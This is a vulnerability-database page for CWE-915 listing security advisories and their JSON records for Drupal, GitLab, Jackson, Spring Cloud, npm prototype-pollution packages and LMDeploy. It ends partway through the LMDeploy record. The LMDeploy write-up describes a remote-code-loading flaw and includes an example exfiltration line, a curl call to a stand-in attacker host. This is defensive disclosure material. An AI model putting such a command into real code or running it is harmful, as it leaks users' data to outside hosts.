CWE-915
AllowedImproperly Controlled Modification of Dynamically-Determined Object Attributes
Abstraction: Base · Status: Incomplete
The product receives input from an upstream component that specifies multiple attributes, properties, or fields that are to be initialized or updated in an object, but it does not properly control which attributes can be modified.
319 vulnerabilities reference this CWE, most recent first.
GHSA-938F-5R4F-H65V
Vulnerability from github – Published: 2024-12-10 00:31 – Updated: 2025-06-04 00:50Drupal core contains a potential PHP Object Injection vulnerability that (if combined with another exploit) could lead to Artbitrary File Deletion. It is not directly exploitable.
This issue is mitigated by the fact that in order to be exploitable, a separate vulnerability must be present that allows an attacker to pass unsafe input to unserialize(). There are no such known exploits in Drupal core.
To help protect against this vulnerability, types have been added to properties in some of Drupal core's classes. If an application extends those classes, the same types may need to be specified on the subclass to avoid a TypeError.
This issue affects Drupal Core: from 8.0.0 before 10.2.11, from 10.3.0 before 10.3.9, from 11.0.0 before 11.0.8.
{
"affected": [
{
"package": {
"ecosystem": "Packagist",
"name": "drupal/core"
},
"ranges": [
{
"events": [
{
"introduced": "8.8.0"
},
{
"fixed": "10.2.11"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Packagist",
"name": "drupal/core"
},
"ranges": [
{
"events": [
{
"introduced": "10.3.0"
},
{
"fixed": "10.3.9"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Packagist",
"name": "drupal/core"
},
"ranges": [
{
"events": [
{
"introduced": "11.0.0"
},
{
"fixed": "11.0.8"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Packagist",
"name": "drupal/core-recommended"
},
"ranges": [
{
"events": [
{
"introduced": "8.8.0"
},
{
"fixed": "10.2.11"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Packagist",
"name": "drupal/core-recommended"
},
"ranges": [
{
"events": [
{
"introduced": "10.3.0"
},
{
"fixed": "10.3.9"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Packagist",
"name": "drupal/core-recommended"
},
"ranges": [
{
"events": [
{
"introduced": "11.0.0"
},
{
"fixed": "11.0.8"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Packagist",
"name": "drupal/drupal"
},
"ranges": [
{
"events": [
{
"introduced": "8.8.0"
},
{
"fixed": "10.2.11"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Packagist",
"name": "drupal/drupal"
},
"ranges": [
{
"events": [
{
"introduced": "10.3.0"
},
{
"fixed": "10.3.9"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Packagist",
"name": "drupal/drupal"
},
"ranges": [
{
"events": [
{
"introduced": "11.0.0"
},
{
"fixed": "11.0.8"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2024-55636"
],
"database_specific": {
"cwe_ids": [
"CWE-502",
"CWE-915"
],
"github_reviewed": true,
"github_reviewed_at": "2024-12-10T19:09:20Z",
"nvd_published_at": "2024-12-10T00:15:22Z",
"severity": "LOW"
},
"details": "Drupal core contains a potential PHP Object Injection vulnerability that (if combined with another exploit) could lead to Artbitrary File Deletion. It is not directly exploitable.\n\nThis issue is mitigated by the fact that in order to be exploitable, a separate vulnerability must be present that allows an attacker to pass unsafe input to `unserialize()`. There are no such known exploits in Drupal core.\n\nTo help protect against this vulnerability, types have been added to properties in some of Drupal core\u0027s classes. If an application extends those classes, the same types may need to be specified on the subclass to avoid a `TypeError`.\n\nThis issue affects Drupal Core: from 8.0.0 before 10.2.11, from 10.3.0 before 10.3.9, from 11.0.0 before 11.0.8.",
"id": "GHSA-938f-5r4f-h65v",
"modified": "2025-06-04T00:50:14Z",
"published": "2024-12-10T00:31:27Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-55636"
},
{
"type": "WEB",
"url": "https://github.com/drupal/core/commit/17f362b988e6ad6bd5cc1e7e8a7a0804e1536fbc"
},
{
"type": "PACKAGE",
"url": "https://github.com/drupal/core"
},
{
"type": "WEB",
"url": "https://www.drupal.org/sa-core-2024-006"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:H/AT:N/PR:L/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "Drupal core contains a potential PHP Object Injection vulnerability"
}
GHSA-93M7-G75G-JVV8
Vulnerability from github – Published: 2026-08-12 18:31 – Updated: 2026-08-12 18:31IBM i 7.6, 7.5, 7.4, and 7.3 could allow a remote authenticated attacker to bypass security restrictions due to unsafe reflection.
{
"affected": [],
"aliases": [
"CVE-2026-17095"
],
"database_specific": {
"cwe_ids": [
"CWE-915"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-08-12T17:17:24Z",
"severity": "HIGH"
},
"details": "IBM i 7.6, 7.5, 7.4, and 7.3 could allow a remote authenticated attacker to bypass security restrictions due to unsafe reflection.",
"id": "GHSA-93m7-g75g-jvv8",
"modified": "2026-08-12T18:31:20Z",
"published": "2026-08-12T18:31:20Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-17095"
},
{
"type": "WEB",
"url": "https://www.ibm.com/support/pages/node/7283292"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:L",
"type": "CVSS_V3"
}
]
}
GHSA-94P8-87FF-W336
Vulnerability from github – Published: 2026-07-29 21:31 – Updated: 2026-07-29 21:31GitLab has remediated an issue in GitLab CE/EE affecting all versions from 18.0 before 19.0.5, 19.1 before 19.1.3, and 19.2 before 19.2.1 that under certain conditions could have allowed an authenticated user to modify CI/CD configuration belonging to another user due to improper validation of user-supplied attributes when processing pipeline schedule inputs.
{
"affected": [],
"aliases": [
"CVE-2026-12436"
],
"database_specific": {
"cwe_ids": [
"CWE-915"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-07-29T20:17:00Z",
"severity": "HIGH"
},
"details": "GitLab has remediated an issue in GitLab CE/EE affecting all versions from 18.0 before 19.0.5, 19.1 before 19.1.3, and 19.2 before 19.2.1 that under certain conditions could have allowed an authenticated user to modify CI/CD configuration belonging to another user due to improper validation of user-supplied attributes when processing pipeline schedule inputs.",
"id": "GHSA-94p8-87ff-w336",
"modified": "2026-07-29T21:31:00Z",
"published": "2026-07-29T21:31:00Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-12436"
},
{
"type": "WEB",
"url": "https://hackerone.com/reports/3800511"
},
{
"type": "WEB",
"url": "https://docs.gitlab.com/releases/patches/patch-release-gitlab-19-2-1-released"
},
{
"type": "WEB",
"url": "https://gitlab.com/gitlab-org/gitlab/-/work_items/603223"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:C/C:H/I:H/A:L",
"type": "CVSS_V3"
}
]
}
GHSA-9534-H433-2RJF
Vulnerability from github – Published: 2021-05-07 16:28 – Updated: 2021-07-28 18:40utilitify prior to 1.0.3 allows modification of object properties. The merge method could be tricked into adding or modifying properties of the Object.prototype.
{
"affected": [
{
"package": {
"ecosystem": "npm",
"name": "utilitify"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "1.0.3"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2019-10808"
],
"database_specific": {
"cwe_ids": [
"CWE-1321",
"CWE-915"
],
"github_reviewed": true,
"github_reviewed_at": "2021-05-03T18:04:07Z",
"nvd_published_at": "2020-03-11T23:15:00Z",
"severity": "HIGH"
},
"details": "utilitify prior to 1.0.3 allows modification of object properties. The merge method could be tricked into adding or modifying properties of the Object.prototype.",
"id": "GHSA-9534-h433-2rjf",
"modified": "2021-07-28T18:40:29Z",
"published": "2021-05-07T16:28:47Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2019-10808"
},
{
"type": "WEB",
"url": "https://github.com/xcritical-software/utilitify/commit/88d6e27009823338bf319ffb768fe6b08e8ad2d1,"
},
{
"type": "WEB",
"url": "https://snyk.io/vuln/SNYK-JS-UTILITIFY-559497"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
],
"summary": "Improperly Controlled Modification of Dynamically-Determined Object Attributes in utilitify"
}
GHSA-96R7-MRQF-JHCC
Vulnerability from github – Published: 2020-06-10 20:27 – Updated: 2021-08-30 13:39All versions of ini-parser are vulnerable to prototype pollution. The parse function does not restrict the modification of an Object's prototype, which may allow an attacker to add or modify an existing property that will exist on all objects.
Recommendation
No fix is currently available. Consider using an alternative package until a fix is made available.
{
"affected": [
{
"package": {
"ecosystem": "npm",
"name": "ini-parser"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"last_affected": "0.0.2"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2020-7617"
],
"database_specific": {
"cwe_ids": [
"CWE-915"
],
"github_reviewed": true,
"github_reviewed_at": "2020-06-10T20:13:15Z",
"nvd_published_at": "2020-04-02T18:15:00Z",
"severity": "CRITICAL"
},
"details": "All versions of `ini-parser` are vulnerable to prototype pollution. The `parse` function does not restrict the modification of an Object\u0027s prototype, which may allow an attacker to add or modify an existing property that will exist on all objects.\n\n\n\n\n## Recommendation\n\nNo fix is currently available. Consider using an alternative package until a fix is made available.",
"id": "GHSA-96r7-mrqf-jhcc",
"modified": "2021-08-30T13:39:02Z",
"published": "2020-06-10T20:27:53Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2020-7617"
},
{
"type": "WEB",
"url": "https://github.com/rawiroaisen/node-ini-parser/blob/master/index.js#L14"
},
{
"type": "WEB",
"url": "https://snyk.io/vuln/SNYK-JS-INIPARSER-564122"
},
{
"type": "WEB",
"url": "https://www.npmjs.com/advisories/1508"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
],
"summary": "Prototype Pollution in ini-parser"
}
GHSA-9FXM-VC8V-HJ55
Vulnerability from github – Published: 2026-06-23 21:24 – Updated: 2026-07-20 21:21Summary
POJOPropertiesCollector._renameProperties() allows a property with @JsonProperty("renamed") on the getter and @JsonIgnore on the setter to be renamed rather than dropped. With MapperFeature.INFER_PROPERTY_MUTATORS enabled (default), the private backing field is retained; during deserialization BeanDeserializerFactory.addBeanProps() sees hasField()==true, builds a FieldProperty, and makes the backing field writable. An attacker supplying the renamed JSON key writes the backing field directly, bypassing the @JsonIgnore on the setter.
Impact
POJOs combining a renamed getter with an ignored setter (a read-only-over-the-wire pattern) have that field silently set from attacker input (property tampering / mass assignment). Not a general gadget; no RCE.
Affected / Patched (verified via git tag --contains)
- 2.21 line:
>= 2.21.0, < 2.21.4-> fixed in 2.21.4 (backportc3d56dd, #5968) - 3.x line:
>= 3.0.0, < 3.1.4-> fixed in 3.1.4 (#5967,e88cb17)
Severity / CWE
Maintainer: minor. Reporter: HIGH. CWE-915.
Credits
Omkhar Arasaratnam (@omkhar) - finder.
{
"affected": [
{
"package": {
"ecosystem": "Maven",
"name": "com.fasterxml.jackson.core:jackson-databind"
},
"ranges": [
{
"events": [
{
"introduced": "2.21.0"
},
{
"fixed": "2.21.4"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Maven",
"name": "com.fasterxml.jackson.core:jackson-databind"
},
"ranges": [
{
"events": [
{
"introduced": "3.0.0"
},
{
"fixed": "3.1.4"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Maven",
"name": "tools.jackson.core:jackson-databind"
},
"ranges": [
{
"events": [
{
"introduced": "3.0.0"
},
{
"fixed": "3.1.4"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-54516"
],
"database_specific": {
"cwe_ids": [
"CWE-915"
],
"github_reviewed": true,
"github_reviewed_at": "2026-06-23T21:24:26Z",
"nvd_published_at": "2026-06-23T21:17:02Z",
"severity": "MODERATE"
},
"details": "## Summary\n`POJOPropertiesCollector._renameProperties()` allows a property with `@JsonProperty(\"renamed\")` on the getter and `@JsonIgnore` on the setter to be renamed rather than dropped. With `MapperFeature.INFER_PROPERTY_MUTATORS` enabled (default), the private backing field is retained; during deserialization `BeanDeserializerFactory.addBeanProps()` sees `hasField()==true`, builds a `FieldProperty`, and makes the backing field writable. An attacker supplying the renamed JSON key writes the backing field directly, bypassing the `@JsonIgnore` on the setter.\n\n## Impact\nPOJOs combining a renamed getter with an ignored setter (a read-only-over-the-wire pattern) have that field silently set from attacker input (property tampering / mass assignment). Not a general gadget; no RCE.\n\n## Affected / Patched (verified via `git tag --contains`)\n- 2.21 line: `\u003e= 2.21.0, \u003c 2.21.4` -\u003e fixed in **2.21.4** (backport `c3d56dd`, #5968)\n- 3.x line: `\u003e= 3.0.0, \u003c 3.1.4` -\u003e fixed in **3.1.4** (#5967, `e88cb17`)\n\n## Severity / CWE\nMaintainer: minor. Reporter: HIGH. CWE-915.\n\n## Credits\nOmkhar Arasaratnam (@omkhar) - finder.",
"id": "GHSA-9fxm-vc8v-hj55",
"modified": "2026-07-20T21:21:24Z",
"published": "2026-06-23T21:24:26Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/FasterXML/jackson-databind/security/advisories/GHSA-9fxm-vc8v-hj55"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-54516"
},
{
"type": "WEB",
"url": "https://github.com/FasterXML/jackson-databind/pull/5967"
},
{
"type": "WEB",
"url": "https://github.com/FasterXML/jackson-databind/pull/5968"
},
{
"type": "WEB",
"url": "https://github.com/FasterXML/jackson-databind/commit/c3d56dd25d52319828147c5b9aeabf2d485c250a"
},
{
"type": "WEB",
"url": "https://github.com/FasterXML/jackson-databind/commit/e88cb17006b6af4883b973058f0bb6486e5074af"
},
{
"type": "PACKAGE",
"url": "https://github.com/FasterXML/jackson-databind"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N",
"type": "CVSS_V3"
}
],
"summary": "jackson-databind\u0027s renamed @JsonIgnore\u0027d setters can deserialize via private fields"
}
GHSA-9W5V-HQ8Q-C6H7
Vulnerability from github – Published: 2026-08-27 21:31 – Updated: 2026-08-27 21:31There is no allow list for property keys when Spring Cloud Commons writable /actuator/env is enabled. Spring Cloud Commons 5.0.0 - 5.0.2 Spring Cloud Commons 4.3.0 - 4.3.3 Spring Cloud Commons 4.0.0 - 4.2.6 Spring Cloud Commons 3.1.10 and earlier
{
"affected": [],
"aliases": [
"CVE-2026-59284"
],
"database_specific": {
"cwe_ids": [
"CWE-915"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-08-27T20:17:54Z",
"severity": "HIGH"
},
"details": "There is no allow list for property keys when Spring Cloud Commons writable /actuator/env is enabled.\nSpring Cloud Commons 5.0.0 - 5.0.2\nSpring Cloud Commons 4.3.0 - 4.3.3\nSpring Cloud Commons 4.0.0 - 4.2.6\nSpring Cloud Commons 3.1.10 and earlier",
"id": "GHSA-9w5v-hq8q-c6h7",
"modified": "2026-08-27T21:31:42Z",
"published": "2026-08-27T21:31:42Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-59284"
},
{
"type": "WEB",
"url": "https://spring.io/security/cve-2026-59284"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:N/I:H/A:L",
"type": "CVSS_V3"
}
]
}
GHSA-9WCG-JRWF-8GG7
Vulnerability from github – Published: 2020-08-05 14:53 – Updated: 2022-05-04 02:19This affects the package express-fileupload before 1.1.8. If the parseNested option is enabled, sending a corrupt HTTP request can lead to denial of service or arbitrary code execution.
{
"affected": [
{
"package": {
"ecosystem": "npm",
"name": "express-fileupload"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "1.1.9"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2020-7699"
],
"database_specific": {
"cwe_ids": [
"CWE-1321",
"CWE-915"
],
"github_reviewed": true,
"github_reviewed_at": "2020-08-03T21:20:00Z",
"nvd_published_at": "2020-07-30T09:15:00Z",
"severity": "CRITICAL"
},
"details": "This affects the package express-fileupload before 1.1.8. If the parseNested option is enabled, sending a corrupt HTTP request can lead to denial of service or arbitrary code execution.",
"id": "GHSA-9wcg-jrwf-8gg7",
"modified": "2022-05-04T02:19:36Z",
"published": "2020-08-05T14:53:16Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2020-7699"
},
{
"type": "WEB",
"url": "https://github.com/richardgirges/express-fileupload/issues/236"
},
{
"type": "WEB",
"url": "https://github.com/richardgirges/express-fileupload/pull/237"
},
{
"type": "WEB",
"url": "https://github.com/richardgirges/express-fileupload/commit/db495357d7557ceb5c034de91a7a574bd12f9b9f"
},
{
"type": "PACKAGE",
"url": "https://github.com/richardgirges/express-fileupload"
},
{
"type": "WEB",
"url": "https://security.netapp.com/advisory/ntap-20200821-0003"
},
{
"type": "WEB",
"url": "https://snyk.io/vuln/SNYK-JS-EXPRESSFILEUPLOAD-595969"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
],
"summary": "Prototype Pollution in express-fileupload"
}
GHSA-9XQ9-36W5-Q796
Vulnerability from github – Published: 2026-05-21 19:33 – Updated: 2026-08-31 14:33📋 Reframing (2026-05-02): implicit unsafe remote-code path, not "supply-chain"
The accurate description of this vulnerability is: "
get_model_archand related helpers hardcodetrust_remote_code=Truewith no opt-out, creating an implicit unsafe remote-code load path on every model fetch."What this report does NOT claim: * It is NOT a network-attack RCE — the user supplies the model reference; LMDeploy honors it. * It is NOT a "supply chain" CVE in the classical sense (where a benign upstream is compromised) — the user explicitly types the repo name.
What this report DOES claim: * Other inference frameworks (vLLM, TGI, Hugging Face transformers itself) all expose
--trust-remote-codeas opt-in so that users who consciously load known-safe repos can opt in, while users following a tutorial cannot accidentally execute attacker Python by typing a wrong repo name. * LMDeploy's hardcoded True is an implicit trust-boundary override that violates HF Transformers' default-secure stance (trust_remote_code=Falsesince transformers ≥ 4.30). * The fix is a one-line CLI flag (--trust-remote-code) defaulting False, threaded through the three sites, matching the rest of the ecosystem.Severity should be assessed as hardening / safe-by-default, not as full unauthenticated RCE. CVSS revised to 5.5 Medium (
AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H× user-must-load qualifier).Runtime evidence: see
12_lmdeploy_trust_remote_code_F13/runtime_evidence/cloudrun_cpu_verdict.txt.
F13 — LMDeploy: hardcoded trust_remote_code=True enables HF supply-chain RCE without user opt-in
Reporter: ibondarenko1 / sactransport2000@gmail.com Coordinated-disclosure window: 90 days from initial vendor email.
TL;DR
LMDeploy unilaterally passes trust_remote_code=True to
transformers.AutoConfig.from_pretrained() (and several other
from_pretrained callers) regardless of any user opt-in. The
flag is hardcoded True in source — there is no CLI flag, no
environment variable, no parameter, and no warning that lets a
user refuse remote code execution from the model repository.
This is a silent override of HuggingFace Transformers' own
default-secure stance (trust_remote_code=False) introduced
in HF Transformers ≥ 4.30 specifically to prevent this class of
supply-chain RCE.
The user running lmdeploy serve api_server <attacker_repo>,
lmdeploy lite calibrate <attacker_repo>, etc. has no way to
opt out. The only escape hatch is for the user to never load
any third-party HF repo with LMDeploy — which is incompatible
with LMDeploy's documented use case.
HuggingFace's trust_remote_code=False default exists exactly to
prevent silent RCE when loading a third-party repo. LMDeploy overrides
this default, restoring the unsafe behaviour transparently. A malicious
HF repo with a configuration_*.py shim runs Python code as the
LMDeploy user at the very first call to get_model_arch(...).
This is a documented anti-pattern (see HF Hub docs:
"Trusting custom code is therefore tricky..."). Multiple peer
projects fixed similar issues — e.g. Hugging Face Transformers
itself made this opt-in by default, and vllm exposes the flag
through --trust-remote-code rather than hardcoding it.
Affected version
- Repository:
github.com/InternLM/lmdeploy, branchmain. - Branch SHA at audit time:
9df0eff7c38ae69b9d4b9f7ad1441e484d439f92(2026-05-02). - Pinned blob SHAs:
lmdeploy/archs.py→68fa03a407734be1e2ae04098d34e9acdbe98262lmdeploy/lite/apis/calibrate.py→0728304bdc3c03eee1d790bfbd5496df080a0ecdlmdeploy/lite/utils/load.py→7c61677aa01e2d9881e32f8ca8ef6ad0f1d8b120lmdeploy/pytorch/check_env/model.py→b1a2daaa426bf5fe25030f7913c703eed9f5b261
Snapshots of all four files are in source_pinned/.
Source-level evidence
Site 1 — architecture detection (every load goes through here)
lmdeploy/archs.py:147-157 — get_model_arch:
def get_model_arch(model_path: str):
"""Get a model's architecture and configuration."""
try:
cfg = AutoConfig.from_pretrained(model_path, trust_remote_code=True)
except Exception as e: # noqa
from transformers import PretrainedConfig
cfg = PretrainedConfig.from_pretrained(model_path, trust_remote_code=True)
Both the primary path and the fallback hardcode
trust_remote_code=True. There is no parameter to override it. This
function is called from every model-loading path in lmdeploy.
Site 2 — quantization CLI
lmdeploy/lite/apis/calibrate.py:248-251:
tokenizer = AutoTokenizer.from_pretrained(model, trust_remote_code=True)
...
model = load_hf_from_pretrained(model, dtype=dtype, trust_remote_code=True)
lmdeploy lite calibrate <repo> and downstream quant CLIs (gptq,
awq) all flow through this. Hardcoded.
Site 3 — calibration helper
lmdeploy/lite/utils/load.py:55:
def load_hf_from_pretrained(pretrained_model_name_or_path, dtype, **kwargs):
...
hf_config = AutoConfig.from_pretrained(pretrained_model_name_or_path, trust_remote_code=True)
Even if the caller does not pass trust_remote_code=True in
**kwargs, the helper internally hardcodes it on the config call
(line 55), then loads the model on line 74. The config call alone is
sufficient for RCE: HF Transformers downloads configuration_*.py
from the repo and imports it whenever trust_remote_code=True.
Site 4 — pytorch engine check
lmdeploy/pytorch/check_env/model.py:10,99,234,242 —
trust_remote_code: bool = True is the default value for the engine's
parameter. Unlike the three sites above, this is "default true" not
"hardcoded true" — a determined caller can pass False — but every
shipped CLI passes True or relies on the default.
What trust_remote_code=True actually enables
When AutoConfig.from_pretrained(repo, trust_remote_code=True) is
called and the repo's config.json contains an auto_map key
pointing to a custom configuration_<name>.py:
- HF Transformers downloads the
.pyfile from the repo. - HF imports the module via
importlib, executing the file's top-level code (anyprint,os.system,subprocess.run,urllib.request.urlopen, etc. fires now). - HF then instantiates the named class.
So a malicious repo only needs a top-level
os.system("curl https://attacker/?$(whoami)") in
configuration_evil.py. It runs as the lmdeploy process user.
Threat model
Attack surface. Any user who runs an lmdeploy CLI command against a HuggingFace repo identifier they did not personally vet. This includes:
- Casual users following a tutorial that says
lmdeploy serve api_server <some_repo>. - CI pipelines that automatically pull a model from HF Hub by configuration (e.g. updates to a non-Pinned version tag).
- Researchers comparing models from many authors. Even running
lmdeploy lite calibratefor benchmarking is enough.
The user is not warned that arbitrary Python from the repo will execute, and there is no flag to disable it. The CVE class is CWE-94 (Improper Control of Generation of Code, supply-chain flavour) and CWE-915 (Improperly Controlled Modification of Dynamically-Determined Object Attributes).
Comparison to peer projects
| Project | trust_remote_code default | User control |
|---|---|---|
| HuggingFace Transformers | False | trust_remote_code keyword arg |
| vLLM | False | --trust-remote-code flag |
| LMDeploy | True (hardcoded) | None |
| TGI | False | --trust-remote-code flag |
LMDeploy is the outlier. The rationale is presumably "internal
models like InternLM need custom configuration_*.py", but the fix is
to accept a CLI flag like --trust-remote-code and default-False as
the rest of the ecosystem does.
Severity
CVSS v3.1 AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H — Base 7.8 High.
- AV:L — local (the user runs lmdeploy on their own host).
- AC:L — single command.
- PR:N — no privilege.
- UI:R — user must invoke lmdeploy with the malicious repo. Minor
qualifier: many users will type
lmdeploy serve api_server <repo>trusting that lmdeploy implements basic safety. - C:H, I:H, A:H — full RCE on the user's machine; can read ~/.aws/credentials, exfiltrate data, persist, etc.
If the lmdeploy host is a multi-tenant inference platform (e.g. a cloud provider running lmdeploy as a service for multiple paying customers), the attack changes shape: any tenant who can pin a custom model name in their tenancy gets RCE on the inference host and scope changes to S:C with cross-tenant impact. CVSS rises to 9.6+. We are not claiming this dimension here without runtime evidence; just flagging it for triage.
Suggested fix
Replace every hardcoded trust_remote_code=True with an explicit
opt-in via CLI flag:
# lmdeploy/archs.py — get_model_arch
def get_model_arch(model_path: str, trust_remote_code: bool = False):
try:
cfg = AutoConfig.from_pretrained(model_path, trust_remote_code=trust_remote_code)
except Exception as e: # noqa
from transformers import PretrainedConfig
cfg = PretrainedConfig.from_pretrained(model_path, trust_remote_code=trust_remote_code)
Wire trust_remote_code through every call site. Add --trust-remote-code
to lmdeploy's CLI parser and forward it from server / calibrate /
gptq / etc. Default False.
A patch fragment is in patch.diff.
Disclosure plan
- Submit privately via lmdeploy security contact (typically email or
GitHub Security Advisory at
https://github.com/InternLM/lmdeploy/security/advisories/new). - Reference Hugging Face Transformers' historical opt-out → opt-in change as precedent for the fix shape.
- 90-day coordinated-disclosure window starting from acknowledgement.
- Request CVE through GHSA flow once the patch lands.
Why static-only is sufficient here
Unlike F11 (RCE chain through _load_pt_file) which required a
runtime PoC to demonstrate the pickle gadget execution, this finding
is a single trust-flag flip — the behaviour of
AutoConfig.from_pretrained(repo, trust_remote_code=True) on a HF
repo with a malicious configuration_*.py is documented behaviour of
HF Transformers itself (their own docs warn against it). Reproducing
it adds no new evidence; the static flag-state is the bug.
If the vendor requests a runtime PoC during triage we will provide
one (a malicious HF repo with configuration_evil.py + a one-liner
lmdeploy lite calibrate <repo> invocation), but holding it back from
the initial advisory avoids publishing a working exploit during the
disclosure window.
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 0.12.3"
},
"package": {
"ecosystem": "PyPI",
"name": "lmdeploy"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "0.13.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-46517"
],
"database_specific": {
"cwe_ids": [
"CWE-1188",
"CWE-915",
"CWE-94"
],
"github_reviewed": true,
"github_reviewed_at": "2026-05-21T19:33:32Z",
"nvd_published_at": "2026-06-10T00:16:53Z",
"severity": "HIGH"
},
"details": "\u003e ## \ud83d\udccb Reframing (2026-05-02): implicit unsafe remote-code path, not \"supply-chain\"\n\u003e\n\u003e The accurate description of this vulnerability is:\n\u003e **\"`get_model_arch` and related helpers hardcode `trust_remote_code=True`\n\u003e with no opt-out, creating an implicit unsafe remote-code load path\n\u003e on every model fetch.\"**\n\u003e\n\u003e What this report does NOT claim:\n\u003e * It is NOT a network-attack RCE \u2014 the user supplies the model\n\u003e reference; LMDeploy honors it.\n\u003e * It is NOT a \"supply chain\" CVE in the classical sense (where a\n\u003e benign upstream is compromised) \u2014 the user explicitly types the\n\u003e repo name.\n\u003e\n\u003e What this report DOES claim:\n\u003e * Other inference frameworks (vLLM, TGI, Hugging Face transformers\n\u003e itself) all expose `--trust-remote-code` as **opt-in** so that\n\u003e users who consciously load known-safe repos can opt in, while\n\u003e users following a tutorial cannot accidentally execute attacker\n\u003e Python by typing a wrong repo name.\n\u003e * LMDeploy\u0027s hardcoded True is an **implicit** trust-boundary\n\u003e override that violates HF Transformers\u0027 default-secure stance\n\u003e (`trust_remote_code=False` since transformers \u2265 4.30).\n\u003e * The fix is a one-line CLI flag (`--trust-remote-code`) defaulting\n\u003e False, threaded through the three sites, matching the rest of\n\u003e the ecosystem.\n\u003e\n\u003e Severity should be assessed as **hardening / safe-by-default**,\n\u003e not as full unauthenticated RCE. CVSS revised to **5.5 Medium**\n\u003e (`AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H` \u00d7 user-must-load qualifier).\n\u003e\n\u003e Runtime evidence: see `12_lmdeploy_trust_remote_code_F13/runtime_evidence/cloudrun_cpu_verdict.txt`.\n\n---\n\n# F13 \u2014 LMDeploy: hardcoded `trust_remote_code=True` enables HF supply-chain RCE without user opt-in\n\n**Reporter:** ibondarenko1 / sactransport2000@gmail.com\n**Coordinated-disclosure window:** 90 days from initial vendor email.\n\n## TL;DR\n\nLMDeploy unilaterally passes `trust_remote_code=True` to\n`transformers.AutoConfig.from_pretrained()` (and several other\n`from_pretrained` callers) **regardless of any user opt-in**. The\nflag is hardcoded `True` in source \u2014 there is no CLI flag, no\nenvironment variable, no parameter, and no warning that lets a\nuser refuse remote code execution from the model repository.\nThis is a **silent override of HuggingFace Transformers\u0027 own\ndefault-secure stance** (`trust_remote_code=False`) introduced\nin HF Transformers \u2265 4.30 specifically to prevent this class of\nsupply-chain RCE.\n\nThe user running `lmdeploy serve api_server \u003cattacker_repo\u003e`,\n`lmdeploy lite calibrate \u003cattacker_repo\u003e`, etc. has **no way to\nopt out**. The only escape hatch is for the user to never load\nany third-party HF repo with LMDeploy \u2014 which is incompatible\nwith LMDeploy\u0027s documented use case.\n\nHuggingFace\u0027s `trust_remote_code=False` default exists exactly to\nprevent silent RCE when loading a third-party repo. LMDeploy overrides\nthis default, restoring the unsafe behaviour transparently. A malicious\nHF repo with a 